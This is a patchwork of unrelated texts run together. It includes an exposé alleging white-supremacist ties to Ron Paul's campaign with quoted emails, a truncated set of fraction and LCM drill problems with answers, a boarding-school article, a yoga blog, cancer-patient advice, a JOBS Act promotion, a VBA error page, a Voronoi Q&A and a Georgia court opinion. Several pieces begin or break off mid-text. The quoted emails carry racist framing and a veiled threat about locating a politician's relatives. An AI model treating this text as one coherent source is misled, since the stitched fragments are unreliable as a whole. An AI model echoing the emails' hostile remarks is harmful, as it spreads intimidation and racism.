nsl-forum.org, rhs-versand.com.
Ron Paul’s “South Was Right” Civil War Speech With Confederate Flag
Ron Paul Was Implicated In Failed White Supremacist Island Invasion
Jamie Kelso, a notorious white supremacist has bragged about being a Ron Paul organizer and has several pictures from Ron Paul events posted on his website “White News Now”
Kelso was the person who took the picture of Ron Paul with former Ku Klux Klansman, Don Black and his son, Derek.
Here is a picture with Jamie Kelso at the Tonight Show with Jay Leno, rallying for Ron Paul
Here are some emails retrieved from Kelso’s account.
Here Is An Email From Someone In Ron Paul’s Campaign To Kelso
Jamie, just wanted you to know that I though it was ashame that you were treated so badly at the CPAC meeting. I intend to let Ron Paul know that you have a large following, and are well respected by many White people. There was no reason for Ron Paul’s man to get involved in any lobby conversation that you may have—now or in the future. Paul should apologize to you personally—there was no reason for you to be insulted by some weird looking flunky of Paul. Let me tell you Jamie, Paul has some real characters in his family tree in Pennsylvania. They wouldn’t be too hard to locate in the Dormont-Greentree area. :wink_smile: Sincerely, Penn Dutch Subject:
Here Is An Email To A White News Now Poster Regarding A Member Of Ron Paul’s Campaign
You’ve got an admirer in Imbar Date: Nov Mon 2009 To: Alexander Hamilton ([email protected]) From: Jamie Kelso ([email protected])
Text: Hello Alexander, Hey, great posting. Imbar just called me and he likes your stuff too. Imbar is Ron Paul’s #2 man in Illinois. Owns his own manufacturing company. Young guy like you. Jeff (Imbar) and I have been buddies for years. We met up with Ron Paul in Ames, Iowa in Aug. 2007. Nice work, Jamie Subject:
Here Kelso Invites A White News Now Supporter To Meet Ron Paul
Re: your banners Date: Jan Sat 2010 To: Benjamin Franklin ([email protected]) From: Jamie Kelso ([email protected]) Text: Hello Ben, ……We’ll have hundreds of great banners here on WhiteNewsNow soon. We’ll have the most interesting top of the forum anywhere. Thanks for the great good effect that your presence and posting here has on what we’re accomplishing. I appreciate getting a bunch of messages from you, please keep ’em coming. See ya’, Jamie
P.S. I’m arriving in Wash.,DC at 3:30pm on Wednesday, Feb. 17th at Reagan Airport (in DC). I’m leaving on Tuesday morning Feb. 23 from Reagan. We’ll be meeting up with Nick Griffin on Wednesday night..a few of us. I let Nick know about the CPAC going on on Thurs. and Fri. at the Marriott Hotel north of the White House. Nick loved the idea of getting to this…since there will be 10,000+ right-wing White folks at the Conservative Political Action Conference. Ron Paul will be there Fri. afternoon. Want to meet up with him?
Here Are Some Emails From Kelso Regarding Racists Working For Ron Paul’s Campaign
“A couple of my buddies are among those dozen [email sent]. ‘Knucklehead’ is my buddy and Sr. Mod named Imbar on WhiteNewsNow [a racist website owned by Kelso]. He’s also Ron Paul’s #2 man in Illinois, Chicago, where is a manufacturer. His name is Jeff
Hello HF, Cool. We had a great meeting in Orange County last night, at which I was asked by the Chairman of the American Third Position party to take on the work of his personal assistant. Bill Johnson is the Chairman, and a good friend. He has been Ron Paul’s top man in Southern Calif. for the last 3 years. So this is a big deal, and will really help WNN. Much more to report later. Thanks, Jamie
Also On NewsOne: |
8.
36
Calculate the common denominator of (-6)/33 - ((-1037)/198)/1 and (3/(-14))/(26/2093).
36
Let c = -29513/1876 + 1200/67. What is the common denominator of -113/56 and c?
56
Suppose 0 = -3*i - 3*h + 21, -4*h + h = -5*i + 35. What is the lowest common multiple of (-6)/9 - 10/(-6) and i?
7
Let k = 9/2 + -17/18. What is the common denominator of k and -7/12?
36
Suppose 16*t - 12*t - 156 = 0. Calculate the least common multiple of 27 and t.
351
Suppose 3*q - 4*g + 24 = q, 4*g - 36 = 4*q. What is the common denominator of (-3)/((-63)/q) - 543/(-14) and 111/110?
110
Let r(v) = -v**3 + 23*v**2 + 21*v + 83. Find the common denominator of r(24) and 1 - (174/4 - 0).
2
Let g = 72 + -47. Suppose -32 = -4*z + 2*a - 4*a, 0 = 3*z + a - g. What is the lowest common multiple of 27 and z?
27
Suppose -12 = -3*q + 5*n, -q + n - 4*n = -18. Suppose -5*g + 8*g - q = 0. What is the smallest common multiple of 9 and g?
9
Suppose 6*x - 11*x = -45. Let b be (-40 + x)*7/(-65). Let k = 81/260 + b. Calculate the common denominator of k and 67/10.
20
Find the common denominator of -10 + 11 - 51/90*2 and -41/42.
210
Let k(x) = -2*x**2 + 47*x - 87. What is the lowest common multiple of 152 and k(21)?
1368
Let q = 743 - 1327. What is the common denominator of 25/16 and q/(-256) + 15/(-6)?
32
Let w(l) = 21*l - 6. Let k be w(3). Let u = 69 - k. Calculate the lowest common multiple of 184 and u.
552
Let s(o) = -o**2 + o - 14. Let n be s(-6). Calculate the common denominator of -97/4 and 282/n + 6/8.
28
Let d(z) = 2*z - 9. Let u be d(6). Suppose 0 = 4*g - u*g - 27. What is the smallest common multiple of 18 and g?
54
Let n(d) = 4 - 4*d + 3*d + 0*d. What is the smallest common multiple of n(0) and ((-28)/(-12))/((-49)/(-105))?
20
Let c = -4652597 + 130132183/28. Let t = c + 5016. Find the common denominator of 17/22 and t.
308
Suppose -p = 0, w - 13*p = -11*p + 12. Calculate the smallest common multiple of 36 and w.
36
Let l(x) = -x - 24. Let c be l(0). Calculate the least common multiple of (-6)/(-3 + 0)*9 and (-188)/c + 2/12.
72
Suppose -4*z - 10 = -3*z. Find the common denominator of (-2328)/420 + (-4)/z and -24/11.
77
Suppose -3*u + 13 + 86 = 0. What is the smallest common multiple of u and 66?
66
Let y(w) = 16*w. Calculate the smallest common multiple of 40 and y(5).
80
Let b = -565 - -605. What is the least common multiple of 60 and b?
120
Suppose 23*k + 15 = 28*k. What is the common denominator of -23/2 and (65/(-52))/(k/((-81)/6))?
8
Let l = 199 + -652. Let v = 33 - 15. What is the lowest common multiple of v and (-18)/(-42) + l/(-21)?
198
What is the common denominator of (10/(-9) + 1)/((-15)/1095) and 23/36?
36
Let f = 6329305/796698 + 1/44261. Calculate the common denominator of f and (-12)/(58/4 + -1).
18
Let q(x) = -20*x + 2. Calculate the least common multiple of 42 and q(-2).
42
Suppose 2*z - 42 = 9*u - 8*u, u - 5*z = -39. What is the common denominator of u and 7/3?
3
Let g be (1 - 1) + -3*(-16)/(-12). Find the common denominator of (-5)/2*(-38)/g and 111/10.
20
Let q be (-15002)/67266 + 6/27. Let t = q - 130741/67266. Calculate the common denominator of t and (-3)/4*(-34)/(-9).
18
Calculate the least common multiple of 28 and 1/(6 - (-395)/(-66))*2.
924
Let v(s) = s**3 + s. Let d(r) = 4*r**3 - 6*r**2 + 7*r + 7. Let l(z) = d(z) - 3*v(z). Suppose -q + 21 = 18. What is the lowest common multiple of l(5) and q?
6
Let m = 35 + 69. Suppose 6*o - m = 2*o. Suppose -2 - o = -4*u. What is the smallest common multiple of 7 and u?
7
Suppose -2161 = -3*n - 4*y, -3*n - 3*y + 968 = -1192. Let o = 12905/18 - n. Calculate the common denominator of -57/32 and o.
288
Let a = -40 + 48. Calculate the least common multiple of a and 189.
1512
Let n(o) = -2*o**2 + 4*o + 11. Let k be n(8). Find the common denominator of 3/(-8) - (-6)/(-8) and (-2)/72*(-1 + k).
72
Let g = 36 - 18. What is the least common multiple of 30 - 26/91*-7 and g?
288
Suppose 6*a - 15 = a + 4*u, u + 3 = a. Let p be (9 - a)*(-2)/(-4). Suppose 7*f = p*f + 44. What is the lowest common multiple of f and 3?
33
Let c(z) = z**3 + 8*z**2 + 6*z - 4. Let s = -16 + 9. Suppose -3*o + 16 = d + d, 1 = d + 5*o. Calculate the smallest common multiple of d and c(s).
33
Suppose 3*k = -9, u + 4*k = -3*u - 12. Suppose -4*b - 66 = -3*l, u = -l - b - 3*b + 22. What is the lowest common multiple of 5 and l?
110
Let n(d) = d + 3. Let r be n(12). Let a be ((-614979)/60)/(r/10). Let p = a - -6840. Calculate the common denominator of p and 21/22.
110
Let b be 22 + -4 + -4 - -4. Find the common denominator of (-194)/b + 16/4 and 65/12.
36
Suppose -w - 21 = -2*n, -5*n + 5*w = -51 + 6. What is the least common multiple of 1006 and n?
6036
Let r = 0 - -5. Suppose -o + r*o = 0, 4*o + 56 = 2*h. What is the least common multiple of 6 and ((-36)/14)/((-4)/h)?
18
Let h be (-4)/(72/(-66)) + 4/(-6). Suppose 30 = h*q - 60. What is the smallest common multiple of q and 30?
30
Calculate the common denominator of 29/3 and 4263/(-810) + (-24)/(-30) - -4.
54
Suppose 4*q - 7 + 15 = 0. Calculate the lowest common multiple of 1 and (q/(-4))/((-4)/(-56)).
7
Let c(a) = -5*a - 17. Let d be c(-5). Let l(t) = 2*t + 5. Calculate the smallest common multiple of l(d) and 6.
42
What is the common denominator of (-99)/6*39/162 and (-2)/(-10)*(-11)/(-88)*-214?
180
Let t be 2 - (3/6 + (-57)/2). Suppose -t = -4*b - 5*f - 0*f, -4*b + 24 = 2*f. Calculate the least common multiple of 1 and b.
5
Find the common denominator of 169/(-264) - 40/(-120) and 13/28.
616
Suppose 0 = 2*c - 7*c - 95. Let p = 26 + c. Let t(o) = 4*o - 17. Calculate the least common multiple of t(p) and 5.
55
Let p = 366 + -252. Calculate the smallest common multiple of p and 266.
798
Let w be 2/(-9)*3*-72. Let l be 32074/w*27/(-6). Let n = -3008 - l. What is the common denominator of n and 31/6?
48
Suppose -11396 - 38569 = 5*m. Let r be (1 - -1) + m/30. Let u = -330 - r. Calculate the common denominator of -11/24 and u.
120
Let v = -43 - -73. Let g = 59252/9 + -6591. Find the common denominator of g and v.
9
Let z(q) = -q**2 - 15*q - 21. Let t be z(-18). Find the common denominator of t/204 + (-3)/12 and -31/20.
340
Suppose 0*w = -22*w + 440. Calculate the smallest common multiple of 46 and w.
460
Suppose 4*i + 13 = 37. What is the least common multiple of ((-22)/(-11))/(4/(-6)) + 21 and 8/(-6)*(-63)/i?
126
Suppose 4 + 24 = 4*w. Calculate the least common multiple of w/((-7)/16)*-1 and 12.
48
Calculate the common denominator of (-3)/(-462)*7*(1 + -7) and (5 + -2)/(-9)*37.
33
Suppose 3*q - 15 = -3. Suppose 5*h + 190 = -5*d, q*h + h + 182 = 3*d. Find the common denominator of h and 156/208*206/21.
14
Let m = -462 - -210. Calculate the common denominator of 2/m*97*-3 and -67/16.
336
Let u = -3873275407/540 - -7172725. Let w = u + -2/135. What is the common denominator of w and -43/16?
16
Let r be 14/(-6) + (-1)/(-3). Let y be (-15)/r + 42/(-28). Suppose -2*i + y = -0*i. What is the least common multiple of 11 and i?
33
Let o(n) = -21*n - 3. Let w = 0 - -3. Let x be o(w). Calculate the common denominator of (4/x)/(4/156) and 30/7.
77
Let j(v) = -v - 1. Let s be j(-3). Suppose -s*r + 22 + 14 = 0. Calculate the smallest common multiple of r and 3.
18
Suppose -2*x - 54 = 3*x + 3*w, -5*x - w - 58 = 0. What is the common denominator of (-531)/x*6/(-18) and -50/3?
12
Let f(r) = -11*r + 104. What is the least common multiple of f(9) and 10?
10
Calculate the common denominator of (2/(-36))/((-58)/(-3886)) and 51/16.
144
Let b be ((-8)/(-16434))/(4/20982). Let c = 2/249 - b. What is the common denominator of c and 6*(747/(-546) - (-2)/13)?
77
Let d = 14 - 12. Suppose -4*b = d*p - 34, 2*b - 4*b + 29 = -3*p. What is the least common multiple of b and 50?
50
Suppose i - 38*g + 42*g - 17 = 0, 0 = -i - g + 11. What is the least common multiple of 12 and i?
36
Let c(f) = 2*f**2 - 7*f - 9. Let a be c(6). Suppose -a = -20*t + 17*t. Calculate the smallest common multiple of ((-22)/(-6))/((-1)/(-3)) and t.
77
Let x = 12 - 44. Let p = x + 55. Suppose -5*z + p = -37. What is the least common multiple of z and 8?
24
Let k be (-10954)/(-15) - (-6)/(-8). Let n = k - 2201/3. What is the common denominator of n and 95/8?
40
Let m be (4/2330)/(12/(-255)). Let w = 138703/1864 + m. Let d = 1627/24 - w. Calculate the common denomi |
Riddlesworth Hall
Riddlesworth Hall School is a former country house. It now serves as a boarding school. It is located in Riddlesworth, Norfolk, England.
History
It was acquired by Silvanus Bevan III (1743–1830) in 1792.
It later became the seat of the Compton-Thornhill baronets, including Sir Thomas Thornhill, 1st Baronet (1837-1900) and Sir Anthony John Compton-Thornhill, 2nd Baronet (1868–1949). The second baronet had no heirs and the hall was converted for use as a school.
Architecture
It was designed by architect Thomas Leverton (1743-1824) as a Georgian style three-storey manor house in 1792. It is surrounded by 12 hectares of parkland.
It was listed by English Heritage as a Grade II building on 21 July 1951.
Riddlesworth Hall Preparatory School
In 1946, Riddlesworth Hall School was established as a predominantly girls' school but now caters to both boys and girls aged 2 to 13. In October 2015 it was announced that Riddlesworth joined the Confucius International Education Group, which runs several international schools in China, Spain & USA. Riddlesworth was rebranded Confucius International School-Riddlesworth Hall (CISRH) as a result. The school is now expanding & going through a refurbishment and development programme.
Boarding
Full and part-time boarding is available for children from age 7. Enrollment is intentionally kept small. The Headmaster and his family live on campus and personally take responsibility for pastoral care of boarders.
Houses
Pupils are allocated to four houses, which are named after prominent British women. Points are awarded for "achievement, effort, behavior and generosity of spirit".
Notable former pupils
Diana, Princess of Wales
References
External links
School Profile at the Independent Schools Council website
Independent Schools Inspectorate Inspection Reports
Category:English Heritage sites in Norfolk
Category:Country houses in Norfolk
Category:Boarding schools in Norfolk
Category:Grade II listed houses
Category:Grade II listed buildings in Norfolk
Category:Georgian architecture in England
Category:Houses completed in 1792
Category:Bevan family |
Over the course of 22 years, Dr. Golberg has come across tens of thousands of patients and believed to truly treat someone, you need to get to the root of the problem. With his unique approach stimulating our body’s natural ability to heal itself, Dr. Golberg has been able to treat and boost the morale of thousands of people. |
A feeling of gratitude
A feeling of gratitude
I’m back in New York after having spent 7 weeks in Strasbourg, France, to teach a Yogaworks 300-hour teacher training.
It was a wonderful experience to be able to rediscover the French pace of life and ambiance after 15 years living in NYC.
I wanted to share with you a list, non exhaustive, of some of the differences I’ve noticed between the two cultures during my stay:
. the calm of the streets; even the fire engines and police cars sirens seemed to be a soft music to my ears in comparison to the ones in NYC!
. French people don’t look at their phone when walking on the streets or at the restaurant. They actually look at one another in the eyes and the French being the French, they compliment the girls passing by.
What a change from New York where everyone has his/her head glued to their phone and people bump into you or worst in a car while crossing the sidewalks.
. not having to take the local transportation once to go anywhere: what a luxury! The apartment I rented was a 5-minute walk to the yoga studio I was teaching at: Yogamoves.
Being a yoga teacher in New York, taking the subway several times is part of my daily routine to go and teach my group classes and private sessions. Even though I’m grateful to be able to go around so easily in the city, I regret how loud the subway is and the constant delays.
. French people don’t answer their e-mails within a hour or within a day. They can take several days or weeks to reply to you.
Being used to the American efficiency, I found myself destabilized by this habit. But I realized that most French people make the distinction between their professional and private lives. And I value this a lot!
Here, in NYC, the line between professional and private lives has become totally blurry. People replied to their e-mails anytime, anywhere, making themselves more and more available to their work and increasing their stress level in their private life. So stay as you are my people and I’ll wait patiently for your response.
. the French yogis are much less tight in their hip flexors than the Americans! What a difference! One of the reasons is that American people sit for long hours in front of their computer at work which contracts these muscles. There are also lots of runners in NYC who need to engage them while running.
. the 2 or 3 kilos I gained! So so many temptations everywhere…
. it’s challenging to eat at a restaurant in France if you don’t eat dairy. In the country where food is a culture, butter and cream are kings. I stopped eating dairy 18 months ago.
In NYC, I easily find vegan restaurants or regular ones ready to cater to my diet. But in Strasbourg, it’s complicated! Butter is such a key ingredient that the waiters often don’t know that it’s in the dishes. One of them suggested I have the dessert with salted butter caramel as a substitute!
. the lack of juice stores. In NYC, it is hard to walk a few blocks without finding one. That trend has a difficult time to pick up in France.
. the incoherences of the French services such as Air France and the SNCF (the French railroad) just to name a few. I’ll spare you the details but I found myself in the middle of a comical situation due to the lack of professionalism of these two services. I was amazed to see how in France, one tend to make you responsible and feel guilty for a situation their lack of organization and communication created. There is always that underlying assumption that the customer is guilty. What a contrast from America where the client is king and the notion of service is part of the culture. American people will do everything they can to solve the situation in your favor especially if they are responsible of the problem.
. the French style and natural “classe”. What a delight to see people well dressed and paying attention to small details in their outfits.
The yoga pants have not yet invaded the French sidewalks!
There would be so many more things to add but at the end of the day, I like and feel good in both cultures and I’m so grateful to be able to navigate from one to the other with ease.
I’d like to thank all the students who welcomed me with such warmth in France. You were truly incredible. You allowed me to feel at home and this is priceless. Thank you so so much!!!
Both transitions, arriving in France and coming back to NYC, were extremely smooth and fluid and for that I’m also very grateful. Grateful to have yoga in my life that gives me the tools to stay present, centered, anchored where ever I am.
“Hatha Yoga Anushasanma”: the practice of yoga is here and now.
Namaste,
This summer will be busy for me for I’m honored to be part of twoYogaworks 300-hour teacher trainings. So if you want to take your practice and teaching to the next level, you have two options:
. one in Hazlet, New Jersey
. one in New York City
For more information and to apply, contact Lynn Lisella.
This is one of the majestic sunset sets I got to see last summer on the ferry on my way to Shelter Island. I’ve been lucky to teach on this Island for the past 9 years. I’ll be going this summer again to teach group classes and private sessions. So if you need a break from the city, come and practice with me every Saturday and Sunday at 9am at Shelter Island Yoga starting on June 20th.
Please check my website in the weeks to come for my updated schedule in the city.
My new French “Arrêt sur Asana” video is ready. I take a look at crow pose: Bakasana.
Watch it on Vimeo
or on the Esprit Yoga magazine website. |
Negotiating cancer: Tips from one who’s done it
Add to list
On my list
Stefanie Joho, a survivor of colon cancer. (Photo by Michelle Gustafson for The Washington Post)
By Stefanie Joho
May 28, 2017
At the age of 24, after two surgeries and two aggressive rounds of chemotherapy failed to cure me, my oncologist sent me home to die. When I was first diagnosed with colon cancer in 2013, I'd never even heard the word immunotherapy. I didn't know that my doctors wouldn't have all the answers. I thought clinical trials were last-ditch efforts rather than treatments that save countless lives. I didn't know that a treatment geared to fighting my specific type of cancer and the genetic components of my tumor would go on to potentially offer tens of thousands of patients a revolutionary new path to surviving cancer in 2017.
Because I’m one of the very few lucky ones who looked into the abyss and made it out on the other side, I feel it is my duty to speak up and share some of the critical things that I have learned in what is now a new era in cancer care. Because a disease that should have killed me instead launched my career in patient advocacy.
First and foremost, it is important to remember that every cancer is unique. Your journey will be different from mine. Your cancer is yours and yours alone. So think of the following points as “road signs.” They're ones that I wish someone had shown me when I felt lost, with nowhere else to turn. The goal of this guide is to potentially help shape your thinking as you become an active participant in saving your life. More than anything, I hope it prompts you to question the presumption of cancer care for nearly a century.
1. The more we know, the more we can fight for our lives.
We look to doctors in their white coats to be the experts — partly because, in a moment of such despair, we want to be able to look to someone to just give us the answers. But you should know that you will not find that person in anyone but yourself.
In the beginning of my cancer journey, I felt intimidated by my doctors and made several decisions that I now regret. I walked into appointments and agreed to everything instantaneously, without even considering a second opinion. As my cancer kept coming back and the treatments kept failing, I decided that the only chance I had to make it out alive would be to become an active participant on my journey. I would have to educate myself. I scoured the Internet. I became an “expert” not only in my specific disease, but also in the current cancer landscape.
I’m in no way encouraging you to become your own doctor and understand all the science. And I’m certainly not encouraging you to take everything you read on the Internet as fact. But in 2017, with the amount of accessibility to information, I’m encouraging you to seek it out. Never take anything at face value or trust blindly. Make informed decisions, not decisions based on fear. Walk into appointments with your doctors as an equal, not as a passive bystander. Being an informed cancer patient today is a full-time job. As with any job, that means learning new skill sets and finding the resources needed to succeed.
2. Asking questions is not making trouble.
You will often be made to feel that being a “good patient” means not asking questions. But do not be afraid to speak up. Your life quite literally depends on it. Come into every appointment with a prepared list. If possible, bring someone with you who can take notes. If you are confused about something, ask. If you think of it later, write it down. Remember: You’re the one whose needs are paramount. You’re the one who is fighting for your life. Make every thought, concern and feeling heard. If it isn’t received the first time, say it as many times as necessary.
If you begin to develop a symptom from a treatment side effect or from the cancer itself, understand that it is the system’s job to help you get relief. If your doctors aren’t taking you seriously, do not believe their judgment over yours. And if you feel that your physician doesn’t understand or listen to you, then perhaps it’s time to seek one out who will. In my opinion, an individual who does not have empathy is not a physician.
No two cancers are the same. Increasingly, knowledge of such individual variation is being shown to lead to more effective treatments. Ask your physicians and understand every type of genetic testing available to you. The more granular you can get about the specifics of your disease, the more you will maximize your chances of identifying the best possible treatment for your “personal” tumor. (Discovering the genetic biomarker of my cancer saved my life.) Continue to expand your resources so that you can be an expert in your own cancer.
4. Take note of EVERY potential side effect. Report everything.
The incredible advances in cancer treatments have created a new set of challenges for clinicians, especially in how to identify the side effects. Given that these are new treatments, your doctors are not as practiced with them as they are with chemotherapy and radiation.
For example, immunotherapy is entirely different from traditional treatment. The former utilizes the patient’s own immune system, whereas the latter aims to attack only the cancer cells. Early recognition and proper management of side effects can make the difference between life and death.
Don’t hold back a single concern from your doctor and care team. Even if you think it sounds minuscule or irrelevant, your oncologist needs to know everything to best care for you. Listen to your body. Observe and report any changes.
5. Clinical trials are not a last-resort option.
The lines of treatment are rapidly changing, and, more often than not, getting access to cutting-edge treatments entails enrolling in a clinical trial. There’s an unfortunate misconception that clinical trials are reserved for those who have exhausted all other options. In reality, trials can actually offer access to the most individualized cancer treatment. And in fact, immunotherapy is more and more becoming the first line of treatment — and even being used before surgery to prevent relapses.
And just as individual patients can’t tackle their disease by themselves, we all ultimately must help one another by sharing and participating in clinical trials. Only 4 percent of cancer patients are currently enrolled in studies. Explore trials at cancer centers with a lot of experience in the type of therapy being tested. See if you have options outside of what has been standard of care for 70-plus years.
In the doctor-patient relationship, patients must understand that they are partners of science and as big a part of the cure as doctors. Without us, and our willingness to participate, medical advances would not exist. I will always feel a tremendous sense of pride for participating in a study that will save many thousands of people’s lives.
6. Cancer is not just a physical disease.
It is critical throughout your journey to address the mental, emotional and spiritual aspects of this disease. Seek help, support and healing from other places, too. There are many schools of thought about why people become ill and what can be done to help them recover. It’s important to maintain your anchor in generally accepted medical principles, but don’t be afraid to look further up- and downstream to see if other currents of healing can add value for you and your care team.
As only one example among many, learning about nutrition made me feel as though I were actively fighting and doing something every single day to help my body heal.
Don’t let anyone ever take that away from you. I believe in hope. Period. It saves lives. When your mind tells you that it’s over, the body has no reason to keep fighting. If you find yourself drifting in that direction, remember: “You haven’t failed the treatments; the treatments have failed you.”
Of course, doctors must tell their patients the difficult truth. But the specific words used to deliver such news matter. If your doctor is unable to provide you with hope or encouragement to keep fighting, find the hope and strength from within yourself and the loved ones around you.
8. None of this can be done alone.
This might sound overwhelming. But with great power comes great responsibility. You are powerful, but you are not superhuman. Know your limits, and respect those limits.
Cancer is not a journey that you can navigate alone. The people and professionals with whom you surround yourself will alter the course of your journey. They will lend you strength when you feel you simply have nothing left to give.
If you physically or emotionally cannot actively advocate for yourself, then ask someone to be your advocate. When things were particularly bleak, my younger sister, Jess, often had to speak up for me. She knew what my doubts were, what my concerns were and what was important to me. She became my voice when I didn’t have one.
Create a health-care team that listens to you and cares about you and includes you in every aspect of your decision-making process.
Lastly, and so very importantly: Connect with others in the community. As much as your loved ones will do everything in their power to be there for you, they simply will not be able to understand the complexities of what you are grappling with on a daily basis. Making friends with other cancer patients (even through social media) enabled me to share the fears and anxieties that I was too ashamed or embarrassed to talk about with those who weren’t confronting their own mortality. I could speak openly about my side effects, the changes taking place in my body, my isolation. I could utter the words, "I'm ready to give up," without the looming guilt associated with saying that to loved ones.
It certainly doesn't have to be about only cancer, all of the time, but knowing that this kind of support exists is healing. It makes you feel understood.
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Content from Allstate This content is paid for by an advertiser and published by WP BrandStudio. The Washington Post newsroom was not involved in the creation of this content. Learn more about WP BrandStudio. |
Five Things Every Entrepreneur Must Know about the JOBS Act
Recently, the bipartisan Jumpstart Our Business Startups (JOBS) Act became law, transforming how entrepreneurs can raise the money to grow their business. The JOBS Act expands the pool of potential investors, makes investing in small businesses more attractive and lowers the regulatory burden for more mature business of “going public.” Savvy entrepreneurs should be aware of what the new legislation entails when forming a comprehensive strategy for raising capital and growth.
“The JOBS Act is a game changer for entrepreneurs and ‘Main Street’ businesses,” explains Rob Kaplan, a partner at the law firm Kaplan Voekler Cunningham & Frank (KVCF). “Those who are unaware or don’t fully understand the implications may miss out on opportunities that are now becoming available.”
Here, briefly, is a list of five elements every entrepreneur needs to know about the JOBS Act:
The JOBS Act creates new “strata” of public securities:
1. Under Regulation A, which exempts securities that qualify from registration, but they may still be sold publicly and traded, entrepreneurs will now be able raise $50 million every 12 months. The old rules capped the amount to be raised at $5 million. This creates a new ability for entrepreneurs to raise capital efficiently and will also stimulate the likely creation of new securities markets beyond Wall Street.
2. The “IPO Onramp” provisions of the Act simplify the transition for private business to go public by relaxing reporting and compliance requirements for five years for companies under $1 billion in revenues that go public.
The JOBS Act creates new opportunities for early-stage funding:
3. Entrepreneurs can now raise $1 million by crowd funding -- the process of raising small amounts of capital from a large number of investors -- within a 12-month period. While these new regulations offer increased opportunities, they do not eliminate angel investing as a viable and even preferred option for entrepreneurs.
4. General solicitation will be permitted in the context ofcertain “private” securities transactions; however, the securities must only be sold to “accredited investors” and may not be freely traded posy-investment.
5. Working with an attorney or law firm focusing on capitalformation and compliance remains the best way to ensure that an entrepreneur gets the most out of any funding opportunities.
“As is the case with any new financial regulation, there is much to learn and plenty of landmines to navigate,” says Tom Voekler, a partner at KVCF that focusing in real estate based securities. “We help our clients understand both the opportunities and the potential pitfalls and we apply that knowledge and experience every day. This allows our clients to focus on what they do best – running their businesses.”
About Kaplan, Voekler, Cunningham & Frank:
Kaplan, Voekler, Cunningham & Frank (KVCF) is a multi-city law firm that focuses on capital formation and compliance for emerging businesses. The firm was founded in 2005, and covers the practice areas of bankruptcy and creditors rights, capital markets, development and real estate, general business representation, and litigation. For more information on KVCF, visit the website at www.kv-legal.com. |
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ms.date: 06/08/2017
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# License information for this component not found. You don't have an appropriate license to use this functionality in the design environment (Error 429)
You are not a licensed user of the [ActiveX control](vbe-glossary.md). This error has the following cause and solution:
- You tried to place an ActiveX control on a form at [design time](vbe-glossary.md) or tried to add a form with an ActiveX control on it to a[project](vbe-glossary.md), but the associated information in the [registry](vbe-glossary.md) could not be found.
The information in the registry may have been deleted or become corrupted. Reinstall the ActiveX control or contact the control vendor.
|
Q:
Dividing up a map into polygon regions based on a list of single point coordinates
I'm trying to divide up a city map into polygon regions based on a list of single point coordinates.
The idea is that a polygon region would extend outwards from a single point in all directions until it bordered with polygon regions extending out from nearby / adjacent points. I don't want to use a fixed radius because I want the end result to be complete coverage of the map. So the regions will be irregularly shapes and sized, extending their "territory" as far as possible before bumping up against other territories or the map boundary.
Does anyone know of an algorithm, library or program that can generate such a list of polygons given a list of single point coordinates and a map boundary?
A:
Perhaps you want delaunay-triangulation or a voronoi diagram.
Example page from JSTS
delaunay triangulation
voronoi diagram
|
497 S.E.2d 616 (1998)
231 Ga. App. 1
AMERICAN PETROLEUM PRODUCTS, INC.
v.
MOM AND POP STORES, INC.
No. A97A2302.
Court of Appeals of Georgia.
March 6, 1998.
*618 Henderson & Henderson, Richmond Hill, Michael P. Ludwiczak, Athens, for appellant.
Smith & Floyd, Terry K. Floyd, St. Marys, for appellee.
JOHNSON, Judge.
American Petroleum Products, Inc. ("American") filed suit against Mom and Pop Stores, Inc. ("Mom and Pop") for the balance due on an account. Mom and Pop counterclaimed, alleging fraud and seeking overcharges for freight, Florida pollution taxes and volume incentives. A jury awarded Mom and Pop $71,000. American appeals, and we affirm.
On October 26, 1988, Mom and Pop, a corporation which owns and operates convenience stores, entered into a dealer supply contract with Golden Isles Petroleum, Inc. ("Golden Isles"), a distributor of Amoco petroleum products, which obligated it to purchase all of its fuel needs from Golden Isles. The contract stated the fuel was to be priced on a cost plus a specified mark-up basis. The contract further stated that taxes and *619 freight charges were to be added to the price. Golden Isles took the net Amoco price it paid for the fuel and added its mark-up according to the pricing policy, deducting allowances and credits due Mom and Pop under the contract and then adding "applicable" taxes and freight charges.
On January 1, 1991, American advised Mom and Pop it had purchased the Amoco franchise from Golden Isles and that "[t]here will be very few changes in the overall operation." Mom and Pop knew that the petroleum it received was being exported by American from the state of Florida.
Florida imposes three separate pollution taxes on petroleum produced within the state: (1) a water quality tax; (2) a coastal protection tax; and (3) an inland protection tax. The taxes are originally collected when the product is purchased at the refinery. However, an application can be made by the distributor for a refund of the water quality tax and inland protection tax if the product is ultimately exported from Florida. Mom and Pop was unaware of these pollution taxes and the refund procedure. In addition, while Florida law requires that any pollution taxes due are shown on an invoice relating to the wholesale transaction, the Florida pollution taxes were not shown on the invoices American sent to Mom and Pop.
Beginning in January 1991, American was being charged the three pollution taxes and passing this cost on to Mom and Pop as part of the purchase price. American began making monthly applications to Florida for refunds on two of the pollution taxes. It received its first refund in May 1992. American does not deny that it received refunds for pollution taxes which were included in the price of fuel charged to and paid by Mom and Pop. For the period of time American sold fuel to Mom and Pop and passed on the pollution taxes, it received refunds from Florida totaling nearly $144,000.
In April 1992, Mom and Pop discovered that it was losing money on its petroleum sales and asked American's representative why it was not making a profit. American provided Mom and Pop with a breakdown of its bills and paid Mom and Pop a "competitive allowance" for May and June 1992. The breakdown documents did not mention the Florida pollution taxes. In fact, the breakdown documents stated that American had sustained a loss as the result of giving Mom and Pop the allowance. However, American admitted at trial that it did make a profit on these months in the amount of the undisclosed pollution tax refunds.
Mom and Pop attempted to obtain Amoco invoices from American so it could compare American's actual cost of fuel to the prices being charged to Mom and Pop. American refused to produce or share the invoices it received from Amoco. The Amoco invoices for fuel sold to American contained an itemization of the pollution taxes. In December 1992, Mom and Pop began subscribing to a service which allowed it to check the daily price that Amoco was charging American. Mom and Pop concluded there were discrepancies between the prices American actually charged and the prices it should have charged. On February 11, 1993, Mom and Pop informed American that it was terminating the dealer supply contract.
Subsequently, Mom and Pop learned of the Florida pollution taxes and met with American regarding those taxes and the refund procedure. At the March 31, 1993 meeting, American admitted that it had been including refundable Florida pollution taxes in the price of fuel. However, American stated that it had not obtained any refunds of the pollution taxes. In addition, an American document discovered by Mom and Pop after the meeting indicated that the first application for pollution tax refunds would be April 1993. It is undisputed that American had been filing for pollution tax refunds since January 1991 and had received $62,000 in refunds by the time of the March 31, 1993 meeting.
The parties agreed to try and negotiate another dealer supply contract with a new pricing policy which specifically addressed the issue of how the pollution taxes would be handled. From April 1993 through July 1993, the parties attempted to reach an agreement and Mom and Pop continued to accept and pay for petroleum from American.
